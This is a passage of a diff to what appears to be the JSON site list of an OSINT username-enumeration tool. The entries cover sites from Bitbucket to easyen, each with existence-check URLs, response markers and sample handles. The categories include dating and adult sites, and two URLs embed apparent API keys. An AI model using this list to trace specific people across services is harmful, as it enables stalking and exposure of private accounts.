"https://bitbucket.org/!api/2.0/repositories/{account}?page=1&pagelen=25&sort=-updated_on&q=&fields=-values.owner%2C-values.workspace", + "uri_pretty": "https://bitbucket.org/{account}/workspace/repositories/", + "e_code": 200, + "e_string": "full_name", + "m_string": "No workspace with identifier", + "m_code": 404, + "known": [ + "LaNMaSteR53", + "osamahalisawi" + ], + "cat": "coding" + }, + { + "name": "Bitchute", + "uri_check": "https://api.bitchute.com/api/beta/channel", + "uri_pretty": "https://www.bitchute.com/channel/{account}/", + "post_body": "{\"channel_id\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"channel_id\":", + "m_string": "\"errors\":", + "m_code": 404, + "known": [ + "simon_parkes", + "americafloats", + "daindor" + ], + "cat": "political" + }, + { + "name": "Blogger", + "uri_check": "https://www.blogger.com/profile/{account}", + "e_code": 200, + "e_string": "shadow-light user-stats", + "m_string": "Sorry, the blog you were looking for does not exist.", + "m_code": 405, + "known": [ + "07333944864481878697", + "05941544278367416980" + ], + "cat": "blog" + }, + { + "name": "blogi.pl", + "uri_check": "https://www.blogi.pl/osoba,{account}.html", + "e_code": 200, + "e_string": "Informacje ogólne", + "m_string": "Niepoprawny adres.", + "m_code": 200, + "known": [ + "naukowa", + "izkpaw" + ], + "cat": "blog" + }, + { + "name": "Blogmarks", + "uri_check": "http://blogmarks.net/user/{account}", + "e_code": 200, + "e_string": "class=\"mark\"", + "m_string": "", + "m_code": 200, + "known": [ + "test", + "mike" + ], + "cat": "misc" + }, + { + "name": "Blogspot", + "uri_check": "http://{account}.blogspot.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Blogger Template Style", + "m_string": "Blog not found", + "m_code": 404, + "known": [ + "test" + ], + "cat": "blog" + }, + { + "name": "Bluesky 1", + "uri_check": "https://bsky.app/profile/{account}", + "e_code": 200, + "e_string": "on Bluesky", + "m_string": "<p id=\"bsky_did\"></p>", + "m_code": 200, + "known": [ + "bsky.app", + "safety.bsky.app" + ], + "cat": "social" + }, + { + "name": "Bluesky 2", + "uri_check": "https://public.api.bsky.app/xrpc/app.bsky.actor.getProfile?actor={account}.bsky.social", + "uri_pretty": "https://bsky.app/profile/{account}.bsky.social", + "e_code": 200, + "e_string": "\"handle\":\"", + "m_string": "\"message\":\"Profile not found\"", + "m_code": 400, + "known": [ + "john", + "mark" + ], + "cat": "social" + }, + { + "name": "BoardGameGeek", + "uri_check": "https://api.geekdo.com/api/accounts/validate/username?username={account}", + "uri_pretty": "https://boardgamegeek.com/user/{account}", + "e_code": 200, + "e_string": "\"message\":\"Sorry, this username is already taken.\"", + "m_string": "\"isValid\":true", + "m_code": 200, + "known": [ + "ntrautner", + "Petdoc" + ], + "cat": "gaming" + }, + { + "name": "BodyBuilding.com", + "uri_check": "http://api.bodybuilding.com/api-proxy/bbc/get?slug={account}", + "uri_pretty": "http://bodyspace.bodybuilding.com/{account}/", + "e_code": 200, + "e_string": "username", + "m_string": "data\" :\"\"", + "m_code": 200, + "known": [ + "mike" + ], + "cat": "health" + }, + { + "name": "bonga_cams", + "uri_check": "https://pt.bongacams.com/{account}", + "e_code": 200, + "e_string": "Chat público ao vivo de", + "m_string": "Câmaras de sexo free: chat pornô ao vivo", + "m_code": 404, + "known": [ + "prettykatea", + "milaowens" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Bookcrossing", + "uri_check": "https://www.bookcrossing.com/mybookshelf/{account}", + "e_code": 200, + "e_string": "Recent Book Activity", + "m_string": "Sorry, we were unable to locate the content that you requested.", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "hobby" + }, + { + "name": "Booknode", + "uri_check": "https://booknode.com/profil/{account}", + "e_code": 200, + "e_string": "<title>Profil de", + "m_string": "<title>Page non trouvée", + "m_code": 404, + "known": [ + "Paraffine", + "chanoa" + ], + "cat": "hobby" + }, + { + "name": "Boosty", + "uri_check": "https://api.boosty.to/v1/blog/{account}", + "uri_pretty": "https://boosty.to/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"blog_not_found\"", + "m_code": 404, + "known": [ + "evdokia", + "lana" + ], + "cat": "social" + }, + { + "name": "Booth", + "uri_check": "https://{account}.booth.pm/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "- BOOTH", + "m_string": "BOOTH - The International Indie Art Marketplace", + "m_code": 302, + "known": [ + "monoliorder", + "hasya" + ], + "cat": "shopping" + }, + { + "name": "Brickset", + "uri_check": "https://brickset.com/profile/{account}", + "e_code": 200, + "e_string": "Member since:", + "m_string": "{name}", + "m_code": 200, + "known": [ + "lowlead", + "vwong19" + ], + "cat": "hobby" + }, + { + "name": "BugCrowd", + "uri_check": "https://bugcrowd.com/{account}/profile_widgets", + "uri_pretty": "https://bugcrowd.com/{account}", + "e_code": 200, + "e_string": "\"widgets\":", + "m_string": "class='cc-error-page__msg'", + "m_code": 404, + "known": [ + "lopseg", + "Ebrietas" + ], + "cat": "tech" + }, + { + "name": "Bunpro", + "uri_check": "https://community.bunpro.jp/u/{account}.json", + "e_code": 200, + "e_string": "username", + "m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "blacktide", + "honey" + ], + "cat": "social" + }, + { + "name": "Buy Me a Coffee", + "uri_check": "https://app.buymeacoffee.com/api/v1/check_availability", + "uri_pretty": "https://buymeacoffee.com/{account}", + "post_body": "{\"project_slug\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"available\":false", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "freebird", + "robinwong" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "BuzzFeed", + "uri_check": "https://www.buzzfeed.com/{account}", + "e_code": 200, + "e_string": " on BuzzFeed", + "m_string": "Es posible que el enlace que seleccionaste esté roto o que se haya eliminado la página", + "m_code": 404, + "known": [ + "braftty", + "guillermo" + ], + "cat": "misc" + }, + { + "name": "Calendy", + "uri_check": "https://calendly.com/{account}", + "e_code": 200, + "e_string": "og:author", + "m_string": "Sorry, but the page you were looking for could not be found.", + "m_code": 404, + "known": [ + "honey", + "roger" + ], + "cat": "misc" + }, + { + "name": "Cameo", + "uri_check": "https://www.cameo.com/{account}", + "e_code": 200, + "e_string": "aggregateRating", + "m_string": "", + "m_code": 301, + "known": [ + "michael_owen10", + "sarahall3" + ], + "cat": "shopping" + }, + { + "name": "Carbonmade", + "uri_check": "https://{account}.carbonmade.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "s online portfolio", + "m_string": "site not found", + "m_code": 404, + "known": [ + "jenny", + "bob" + ], + "cat": "hobby" + }, + { + "name": "Career.habr", + "uri_check": "https://career.habr.com/{account}", + "e_code": 200, + "e_string": "— Хабр Карьера", + "m_string": "Ошибка 404", + "m_code": 404, + "known": [ + "alex", + "bob" + ], + "cat": "business" + }, + { + "name": "carrd.co", + "uri_check": "https://{account}.carrd.co", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "( Made with Carrd )", + "m_string": "Sorry, the requested page could not be found.", + "m_code": 404, + "known": [ + "liam", + "peter" + ], + "cat": "business" + }, + { + "name": "CastingCallClub", + "uri_check": "https://www.castingcall.club/{account}", + "e_code": 200, + "e_string": "| Casting Call Club", + "m_string": "404: This is not the page you were looking for. In the future, our AI robot overlords will be able to better predict exactly what you were looking for.", + "m_code": 302, + "known": [ + "Lindz", + "Danye" + ], + "cat": "hobby" + }, + { + "name": "CD-Action", + "uri_check": "https://cdaction.pl/uzytkownicy/{account}", + "e_code": 200, + "e_string": "Lista gier:", + "m_string": "Coś się popsuło...", + "m_code": 404, + "known": [ + "saczuan", + "cormac" + ], + "cat": "gaming" + }, + { + "name": "cda.pl", + "uri_check": "https://www.cda.pl/{account}", + "e_code": 200, + "e_string": "Foldery", + "m_string": "Strona na którą chcesz wejść nie istnieje", + "m_code": 200, + "known": [ + "test2", + "janek" + ], + "cat": "video" + }, + { + "name": "Cent", + "uri_check": "https://beta.cent.co/data/user/profile?userHandles={account}", + "uri_pretty": "https://beta.cent.co/{account}/", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"results\":[]", + "m_code": 200, + "known": [ + "alex", + "ben" + ], + "cat": "social" + }, + { + "name": "cfx.re", + "uri_check": "https://forum.cfx.re/u/{account}.json", + "uri_pretty": "https://forum.cfx.re/u/{account}/summary", + "e_code": 200, + "e_string": "created_at", + "m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "masiball", + "anel_hadzyc", + "kiminaze" + ], + "cat": "gaming" + }, + { + "name": "championat", + "uri_check": "https://www.championat.com/user/{account}/", + "e_code": 200, + "e_string": "Личный профил", + "m_string": "Извините, запрашиваемая страница не найдена", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "news" + }, + { + "name": "Chamsko", + "uri_check": "https://www.chamsko.pl/profil/{account}", + "e_code": 200, + "e_string": "W serwisie od", + "m_string": "Strona nie istnieje.", + "m_code": 404, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "chatango.com", + "uri_check": "https://{account}.chatango.com", + "e_code": 200, + "e_string": "Chatango!", + "m_string": "<title>Unknown User!", + "m_code": 200, + "known": [ + "7nights", + "merbailey", + "steakomura", + "equicentric" + ], + "cat": "social" + }, + { + "name": "chaturbate", + "uri_check": "https://chaturbate.com/{account}/", + "e_code": 200, + "e_string": "'s Bio and Free Webcam", + "m_string": "It's probably just a broken link", + "m_code": 404, + "known": [ + "pussylovekate", + "kemii" + ], + "cat": "xx NSFW xx" + }, + { + "name": "cHEEZburger", + "uri_check": "https://profile.cheezburger.com/{account}", + "e_code": 200, + "e_string": "profile-header", + "m_string": "<title>Home - ", + "m_code": 302, + "known": [ + "john" + ], + "cat": "hobby" + }, + { + "name": "Chess.com", + "uri_check": "https://api.chess.com/pub/player/{account}", + "uri_pretty": "https://www.chess.com/member/{account}", + "e_code": 200, + "e_string": "player_id", + "m_string": "not found", + "m_code": 404, + "known": [ + "john", + "peter", + "josh" + ], + "cat": "gaming" + }, + { + "name": "Choko.Link", + "uri_check": "https://choko.link/api/auth/check", + "uri_pretty": "https://choko.link/{account}", + "post_body": "{\"username\":\"{account}\"}", + "e_code": 200, + "e_string": "\"result\":false", + "m_string": "\"result\":true", + "m_code": 200, + "known": [ + "yaroslava_lytvyak", + "eugeniapsychology" + ], + "cat": "social" + }, + { + "name": "Chomikuj.pl", + "uri_check": "https://chomikuj.pl/{account}/", + "e_code": 200, + "e_string": "Foldery", + "m_string": "Chomik o takiej nazwie nie istnieje", + "m_code": 404, + "known": [ + "test", + "test2" + ], + "cat": "misc" + }, + { + "name": "Chyoa", + "uri_check": "https://chyoa.com/user/{account}", + "e_code": 200, + "e_string": "When I'm not reading erotica I like to read", + "m_string": "Sorry, I got distracted...", + "m_code": 404, + "known": [ + "joe", + "carlos01" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Cloudflare", + "uri_check": "https://community.cloudflare.com/u/{account}/card.json", + "uri_pretty": "https://community.cloudflare.com/u/{account}", + "e_code": 200, + "e_string": "user_avatar", + "m_string": "The requested URL or resource could not be found", + "m_code": 404, + "known": [ + "carl", + "morten" + ], + "cat": "tech" + }, + { + "name": "Clubhouse", + "uri_check": "https://www.clubhouse.com/@{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "404", + "m_code": 404, + "known": [ + "kirbyplessas", + "rohan" + ], + "cat": "social" + }, + { + "name": "cnet", + "uri_check": "https://www.cnet.com/profiles/{account}/", + "e_code": 200, + "e_string": "Member Since:", + "m_string": "Page Not Found (404) - CNET", + "m_code": 301, + "known": [ + "john", + "bob" + ], + "cat": "news" + }, + { + "name": "Coda", + "uri_check": "https://coda.io/@{account}/", + "e_code": 200, + "e_string": "- Coda Profile", + "m_string": "Coda | Page not found - Coda", + "m_code": 404, + "known": [ + "huizer", + "kennywong" + ], + "cat": "hobby" + }, + { + "name": "Code Project", + "uri_check": "https://www.codeproject.com/Members/{account}", + "e_code": 200, + "e_string": "Member since", + "m_string": "Unable to load the requested member's information", + "m_code": 200, + "known": [ + "WmCraig", + "Rick-York" + ], + "cat": "coding" + }, + { + "name": "Codeberg", + "uri_check": "https://codeberg.org/{account}", + "e_code": 200, + "e_string": "Joined on", + "m_string": "The page you are trying to reach either", + "m_code": 404, + "known": [ + "dachary", + "happy" + ], + "cat": "coding" + }, + { + "name": "Codecademy", + "uri_check": "https://discuss.codecademy.com/u/{account}/summary", + "e_code": 200, + "e_string": " Profile - ", + "m_string": "Oops! That page doesn’t exist", + "m_code": 404, + "known": [ + "doctypeme", + "ocean.war" + ], + "cat": "coding" + }, + { + "name": "CodeChef", + "uri_check": "https://www.codechef.com/users/{account}", + "e_code": 200, + "e_string": "class=\"user-profile-container\"", + "m_string": "", + "m_code": 302, + "known": [ + "maroonrk", + "lyrically" + ], + "cat": "coding" + }, + { + "name": "Codeforces", + "uri_check": "https://codeforces.com/api/user.info?handles={account}", + "uri_pretty": "https://codeforces.com/profile/{account}", + "e_code": 200, + "e_string": "\"status\":\"OK\"", + "m_string": "\"status\":\"FAILED\"", + "m_code": 400, + "known": [ + "Abdul01", + "Abdullah" + ], + "cat": "coding" + }, + { + "name": "codementor", + "uri_check": "https://www.codementor.io/@{account}", + "e_code": 200, + "e_string": "ABOUT ME", + "m_string": "404/favicon.png", + "m_code": 404, + "known": [ + "e4c5", + "juanelfers" + ], + "cat": "coding" + }, + { + "name": "CodePen", + "uri_check": "https://codepen.io/{account}", + "e_code": 200, + "e_string": "property=\"og:url\"", + "m_string": "data-test-id=\"text-404\"", + "m_code": 404, + "known": [ + "good88gorg", + "RayyanDonut" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Coderwall", + "uri_check": "https://coderwall.com/{account}/", + "e_code": 200, + "e_string": "s profile |", + "m_string": "404! Our feels when that url is used", + "m_code": 404, + "known": [ + "john", + "test" + ], + "cat": "coding" + }, + { + "name": "Codewars", + "uri_check": "https://www.codewars.com/users/{account}", + "e_code": 200, + "e_string": "| Codewars", + "m_string": "Whoops! The page you were looking for doesn't seem to exist.", + "m_code": 404, + "known": [ + "john", + "reds" + ], + "cat": "coding" + }, + { + "name": "COLOURlovers", + "uri_check": "https://www.colourlovers.com/ajax/check-username-availability", + "uri_pretty": "https://www.colourlovers.com/lover/{account}", + "post_body": "userName={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"_status\":\"unavailable\"", + "m_string": "\"_status\":\"available\"", + "m_code": 200, + "known": [ + "timanttimaarit", + "tsoloweyko" + ], + "cat": "hobby", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Community Adobe", + "uri_check": "https://community.adobe.com/t5/forums/searchpage/tab/user?q={account}", + "e_code": 200, + "e_string": "UserSearchItemContainer", + "m_string": "No search results found.", + "m_code": 200, + "known": [ + "test", + "janet" + ], + "cat": "tech" + }, + { + "name": "contactos.sex", + "uri_check": "https://www.contactossex.com/profile/{account}", + "e_code": 200, + "e_string": "Información Personal", + "m_string": "Desde 2001 conectando gente!", + "m_code": 302, + "known": [ + "danijak", + "darkfox" + ], + "cat": "xx NSFW xx" + }, + { + "name": "coroflot", + "uri_check": "https://www.coroflot.com/{account}", + "e_code": 200, + "e_string": "portfolio", + "m_string": "Looking for something?", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "art" + }, + { + "name": "Coub", + "uri_check": "https://coub.com/api/v2/channels/{account}", + "uri_pretty": "https://coub.com/{account}/", + "e_code": 200, + "e_string": "\"user_id\":", + "m_string": "\"error\":\"Unhandled exception\"", + "m_code": 404, + "known": [ + "djantidog", + "mcnorington" + ], + "cat": "social" + }, + { + "name": "cowboys4angels", + "uri_check": "https://cowboys4angels.com/cowboy/{account}/", + "e_code": 200, + "e_string": " - Cowboys 4 Angels", + "m_string": "Error Page not found", + "m_code": 404, + "known": [ + "jaxjames", + "jordan-2" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Cracked", + "uri_check": "https://www.cracked.com/members/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "", + "m_code": 302, + "known": [ + "mbattagl", + "Hatchback" + ], + "cat": "social" + }, + { + "name": "cracked_io", + "uri_check": "https://cracked.io/{account}", + "e_code": 200, + "e_string": "Cracked.io - Profile of", + "m_string": "The member you specified is either invalid or doesn't exist", + "m_code": 404, + "known": [ + "RealPsycho", + "SamWinchester" + ], + "cat": "social" + }, + { + "name": "crevado", + "uri_check": "https://{account}.crevado.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Portfolio", + "m_string": "Site not found :-(", + "m_code": 404, + "known": [ + "john", + "red" + ], + "cat": "images" + }, + { + "name": "Cropty", + "uri_check": "https://api.cropty.io/v1/auth/{account}", + "uri_pretty": "https://www.cropty.io/@{account}", + "e_code": 200, + "e_string": "\"name\":", + "m_string": "\"errors\":", + "m_code": 404, + "known": [ + "mailmal", + "dosash" + ], + "cat": "finance" + }, + { + "name": "Crowdin", + "uri_check": "https://crowdin.com/profile/{account}", + "e_code": 200, + "e_string": "id=\"profile-page\"", + "m_string": "class=\"error-page\"", + "m_code": 404, + "known": [ + "erga", + "peter" + ], + "cat": "hobby" + }, + { + "name": "Cults3D", + "uri_check": "https://cults3d.com/en/users/{account}/creations", + "e_code": 200, + "e_string": "All the 3D models of", + "m_string": "Oh dear, this page is not working!", + "m_code": 404, + "known": [ + "Bstar3Dart", + "john" + ], + "cat": "hobby" + }, + { + "name": "Cytoid", + "uri_check": "https://cytoid.io/profile/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "Profile not found", + "m_code": 404, + "known": [ + "nyala", + "speedymlg7" + ], + "cat": "gaming" + }, + { + "name": "Daily Kos", + "uri_check": "https://www.dailykos.com/user/{account}", + "e_code": 200, + "e_string": "id=\"userData\"", + "m_string": "Page not found! (404)", + "m_code": 404, + "known": [ + "msouza", + "kos" + ], + "cat": "news" + }, + { + "name": "darudar", + "uri_check": "https://darudar.org/users/{account}/", + "e_code": 200, + "e_string": ". Дарудар", + "m_string": "404. Дару~дар: миру~мир!", + "m_code": 404, + "known": [ + "svetlana7", + "igor" + ], + "cat": "misc" + }, + { + "name": "dateinasia", + "uri_check": "https://www.dateinasia.com/{account}", + "e_code": 200, + "e_string": "About me", + "m_string": "The page you are looking for does not exist", + "m_code": 404, + "known": [ + "shime", + "janeferater" + ], + "cat": "dating" + }, + { + "name": "datezone", + "uri_check": "https://www.datezone.com/users/{account}/", + "e_code": 200, + "e_string": "profile_status", + "m_string": "404: page not found", + "m_code": 200, + "known": [ + "maniektwist", + "carllos" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Dating.ru", + "uri_check": "https://dating.ru/{account}/", + "e_code": 200, + "e_string": "| dating.ru", + "m_string": "Такой страницы не существует.", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "dating" + }, + { + "name": "DDoSecrets", + "uri_check": "https://search.ddosecrets.com/search?q={account}", + "e_code": 200, + "e_string": "aria-label=\"Search result pages\"", + "m_string": "

    No results

    ", + "m_code": 200, + "known": [ + "egord", + "Mddearing" + ], + "cat": "archived" + }, + { + "name": "Demotywatory", + "uri_check": "https://demotywatory.pl/user/{account}", + "e_code": 200, + "e_string": "Z nami od:", + "m_string": "Użytkownik o podanym pseudonimie nie istnieje.", + "m_code": 200, + "known": [ + "test", + "test2" + ], + "cat": "images" + }, + { + "name": "depop", + "uri_check": "https://www.depop.com/{account}/", + "e_code": 200, + "e_string": "s Shop - Depop", + "m_string": "Sorry, that page doesn't exist", + "m_code": 404, + "known": [ + "sara", + "susan" + ], + "cat": "shopping" + }, + { + "name": "Designspriation", + "uri_check": "https://www.designspiration.com/{account}/", + "e_code": 200, + "e_string": "has discovered on Designspiration", + "m_string": "Content Not Found", + "m_code": 404, + "known": [ + "sam", + "smith" + ], + "cat": "art" + }, + { + "name": "destream", + "uri_check": "https://api.destream.net/siteapi/v2/live/details/{account}", + "uri_pretty": "https://destream.net/live/{account}", + "e_code": 200, + "e_string": "\"userName\":", + "m_string": "\"errorMessage\":\"Error happened.\"", + "m_code": 400, + "known": [ + "skromnuy_fifa", + "wudjer" + ], + "cat": "finance" + }, + { + "name": "Destructoid", + "uri_check": "https://www.destructoid.com/?name={account}", + "e_code": 200, + "e_string": "Follow", + "m_string": "Error in query", + "m_code": 200, + "known": [ + "john", + "alice", + "bob" + ], + "cat": "social" + }, + { + "name": "dev.to", + "uri_check": "https://dev.to/{account}", + "e_code": 200, + "e_string": "\"@id\":", + "m_string": "class=\"not-found-page base-background-color\"", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "coding", + "protection": [ + "other" + ] + }, + { + "name": "DeviantArt", + "uri_check": "https://www.deviantart.com/{account}", + "e_code": 200, + "e_string": " | DeviantArt", + "m_string": "DeviantArt: 404", + "m_code": 404, + "known": [ + "rattybike", + "john" + ], + "cat": "images" + }, + { + "name": "devRant", + "uri_check": "https://devrant.com/users/{account}", + "e_code": 200, + "e_string": "Joined devRant on", + "m_string": "", + "m_code": 302, + "known": [ + "dfox", + "trogus" + ], + "cat": "coding" + }, + { + "name": "dfgames", + "uri_check": "https://www.dfgames.com.br/user/{account}", + "e_code": 200, + "e_string": "Reputa", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "carlos01", + "eduardo" + ], + "cat": "gaming" + }, + { + "name": "Diablo", + "uri_check": "https://diablo2.io/member/{account}/", + "e_code": 200, + "e_string": "Viewing profile - ", + "m_string": "The requested user does not exist", + "m_code": 404, + "known": [ + "Mike01", + "John" + ], + "cat": "gaming" + }, + { + "name": "DIBIZ", + "uri_check": "https://www.dibiz.com/{account}", + "e_code": 200, + "e_string": "Add to contacts
    ", + "m_string": "An Error Has Occurred", + "m_code": 404, + "known": [ + "fractalhue", + "rid" + ], + "cat": "business" + }, + { + "name": "Digitalspy", + "uri_check": "https://forums.digitalspy.com/profile/discussions/{account}", + "e_code": 200, + "e_string": "About", + "m_string": "User not found", + "m_code": 404, + "known": [ + "JeffG1", + "Maxatoria" + ], + "cat": "social" + }, + { + "name": "diigo", + "uri_check": "https://www.diigo.com/interact_api/load_profile_info?name={account}", + "uri_pretty": "https://www.diigo.com/profile/{account}", + "e_code": 200, + "e_string": "regist_at", + "m_string": "{}", + "m_code": 200, + "known": [ + "whoami", + "johndoe" + ], + "cat": "images" + }, + { + "name": "Discogs", + "uri_check": "https://api.discogs.com/users/{account}", + "uri_pretty": "https://www.discogs.com/user/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"message\": \"User does not exist or may have been deleted.\"", + "m_code": 404, + "known": [ + "damiano84", + "bernadette69" + ], + "cat": "music" + }, + { + "name": "Discord Invites", + "uri_check": "https://discord.com/api/v9/invites/{account}?with_counts=true&with_expiration=true", + "uri_pretty": "https://discord.com/invite/{account}", + "e_code": 200, + "e_string": "\"channel\":", + "m_string": "\"message\": \"Unknown Invite\"", + "m_code": 404, + "known": [ + "test", + "web" + ], + "cat": "social" + }, + { + "name": "Discord Users", + "uri_check": "https://discord.com/api/v9/unique-username/username-attempt-unauthed", + "post_body": "{\"username\": \"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"taken\":true", + "m_string": "\"taken\":false", + "m_code": 200, + "known": [ + "test", + "web" + ], + "cat": "social" + }, + { + "name": "Discourse", + "uri_check": "https://meta.discourse.org/u/{account}/summary.json", + "uri_pretty": "https://meta.discourse.org/u/{account}", + "e_code": 200, + "e_string": "topics", + "m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "ndalliard", + "gerhard" + ], + "cat": "misc" + }, + { + "name": "discuss.elastic.co", + "uri_check": "https://discuss.elastic.co/u/{account}", + "e_code": 200, + "e_string": " Profile", + "m_string": "Oops!", + "m_code": 404, + "known": [ + "whoami", + "johndoe" + ], + "cat": "tech" + }, + { + "name": "Disqus", + "uri_check": "https://disqus.com/api/3.0/users/details?user=username:{account}&api_key=E8Uh5l5fHZ6gD8U3KycjAIAk46f68Zw7C6eW8WSjZvCLXebZ7p0r1yrYDrLilk2F", + "uri_pretty": "https://disqus.com/by/{account}/", + "e_code": 200, + "e_string": "\"code\":0", + "m_string": "\"code\":2", + "m_code": 400, + "known": [ + "Aristotelian1", + "50calibercat" + ], + "cat": "social" + }, + { + "name": "Dissenter", + "uri_check": "https://dissenter.com/user/{account}", + "e_code": 200, + "e_string": "Dissenter | The Comment Section of the Internet", + "m_string": "That user is not registered here.", + "m_code": 404, + "known": [ + "pryerlee", + "archdukeofevil" + ], + "cat": "political" + }, + { + "name": "Docker Hub (Organization)", + "uri_check": "https://hub.docker.com/v2/orgs/{account}/", + "uri_pretty": "https://hub.docker.com/u/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": "\"orgname\":[\"", + "m_code": 404, + "known": [ + "bitnami", + "tensorflow" + ], + "cat": "coding" + }, + { + "name": "Docker Hub (User)", + "uri_check": "https://hub.docker.com/v2/users/{account}/", + "uri_pretty": "https://hub.docker.com/u/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": "\"message\":\"User not found\"", + "m_code": 404, + "known": [ + "dannapierskitoptal", + "torvalds" + ], + "cat": "coding" + }, + { + "name": "Dojoverse", + "uri_check": "https://dojoverse.com/members/{account}/", + "e_code": 200, + "e_string": "Joined", + "m_string": "Looks like you got lost!.", + "m_code": 404, + "known": [ + "eric", + "danielrivera10927" + ], + "cat": "hobby" + }, + { + "name": "donate.stream", + "uri_check": "https://donate.stream/api/v1/streamer.get?path={account}&app=9f4e793cec820015d511dbc77b20c5c1", + "uri_pretty": "https://donate.stream/{account}", + "e_code": 200, + "e_string": "\"response\":", + "m_string": "\"message\":\"Not found\"", + "m_code": 200, + "known": [ + "requiemzxc_komaru", + "hexttr" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Donatello", + "uri_check": "https://donatello.to/{account}", + "e_code": 200, + "e_string": "UserPage.init", + "m_string": "<title>Сторінку не знайдено (404) - Donatello", + "m_code": 404, + "known": [ + "Metvix", + "Selezenka" + ], + "cat": "finance" + }, + { + "name": "Donatik", + "uri_check": "https://{account}.donatik.io/en", + "e_code": 200, + "e_string": "\\\"__typename\\\":\\\"User\\\"", + "m_string": "id=\"__next_error__\"", + "m_code": 500, + "known": [ + "gypsyjitsu", + "forestgamp3021" + ], + "cat": "finance" + }, + { + "name": "Donation Alerts", + "uri_check": "https://www.donationalerts.com/api/v1/user/{account}/donationpagesettings", + "uri_pretty": "https://www.donationalerts.com/r/{account}", + "e_code": 200, + "e_string": "\"data\":", + "m_string": "\"success\":false", + "m_code": 202, + "known": [ + "gorou", + "saku" + ], + "cat": "finance" + }, + { + "name": "Donatty", + "uri_check": "https://api.donatty.com/users/find/{account}", + "uri_pretty": "https://donatty.com/{account}", + "e_code": 200, + "e_string": "\"response\":", + "m_string": "\"error\":\"internal error\"", + "m_code": 404, + "known": [ + "takaisekai", + "fordmac" + ], + "cat": "business", + "protection": [ + "cloudflare" + ] + }, + { + "name": "dot.cards", + "uri_check": "https://dot.cards/{account}", + "e_code": 200, + "e_string": "status\": \"success", + "m_string": "status\": \"username_not_found", + "m_code": 200, + "known": [ + "dakmusic", + "jhartwell" + ], + "cat": "business" + }, + { + "name": "Dota2.ru", + "uri_check": "https://dota2.ru/forum/search/?type=user&keywords={account}&sort_by=username", + "e_code": 200, + "e_string": "class=\"forum-section__item forum-section__item--first\"", + "m_string": "id=\"no-activity-posts\"", + "m_code": 200, + "known": [ + "narancha", + "Darkness whisper" + ], + "cat": "gaming" + }, + { + "name": "DOTAFire", + "uri_check": "https://www.dotafire.com/ajax/searchSite?text={account}&search=members", + "e_code": 200, + "e_string": "href=\"/profile/", + "m_string": ">No results found", + "m_code": 200, + "known": [ + "DotaCoachApp", + "zveen" + ], + "cat": "gaming" + }, + { + "name": "DOU", + "uri_check": "https://dou.ua/users/{account}/", + "e_code": 200, + "e_string": "class=\"page-profile\"", + "m_string": "class=\"page-error\"", + "m_code": 404, + "known": [ + "doucommunity", + "volodymyrobrizan" + ], + "cat": "social" + }, + { + "name": "Dribbble", + "uri_check": "https://dribbble.com/{account}", + "e_code": 200, + "e_string": " | Dribbble", + "m_string": "(404)", + "m_code": 404, + "known": [ + "UI8", + "keeplegend" + ], + "cat": "art" + }, + { + "name": "DRIVE2.RU", + "uri_check": "https://www.drive2.ru/users/{account}/", + "e_code": 200, + "e_string": "itemprop=\"name\"", + "m_string": "404 — Страница не найдена", + "m_code": 404, + "known": [ + "seryjkot", + "timo6a" + ], + "cat": "social", + "protection": [ + "ddos-guard" + ] + }, + { + "name": "Droners", + "uri_check": "https://droners.io/accounts/{account}/", + "e_code": 200, + "e_string": "- Professional Drone Pilot", + "m_string": "(404)", + "m_code": 302, + "known": [ + "chriskahn", + "swilken" + ], + "cat": "hobby" + }, + { + "name": "Drum", + "uri_check": "https://drum.io/{account}/", + "e_code": 200, + "e_string": "firstName\": \"", + "m_string": "Page not found", + "m_code": 302, + "known": [ + "huckcredibleshotz", + "thesuccesspalette" + ], + "cat": "hobby" + }, + { + "name": "Duolingo", + "uri_check": "https://www.duolingo.com/2017-06-30/users?username={account}&_=1628308619574", + "uri_pretty": "https://www.duolingo.com/profile/{account}", + "e_code": 200, + "e_string": "joinedClassroomIds", + "m_string": "\"users\" : []", + "m_code": 200, + "known": [ + "sdfsdf", + "duolingo" + ], + "cat": "hobby" + }, + { + "name": "easyen", + "uri_check": "https://easyen.ru/index/8-0-{account}", + "e_code": 200, + "e_string": "День рождения", + "m_string": "Пользователь не найден", + "m_code": 200, + "known": [ + "wd" + ], + "cat": "social" + }, + { + "name": 